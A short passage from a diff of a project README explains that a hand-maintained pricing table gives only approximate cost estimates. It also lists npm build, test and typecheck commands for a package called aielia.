static, hand-maintained pricing table (`model-pricing.ts`, Sonnet/Opus/Haiku
|
|
823
|
+
list prices) to show an *approximate* estimate, clearly labeled as such,
|
|
824
|
+
not real billing data.
|
|
825
|
+
|
|
826
|
+
## Commands
|
|
827
|
+
|
|
828
|
+
```bash
|
|
829
|
+
npm run build --workspace=packages/aielia
|
|
830
|
+
npm test --workspace=packages/aielia
|
|
831
|
+
npm run typecheck --workspace=packages/aielia
|
|
832
|
+
```
|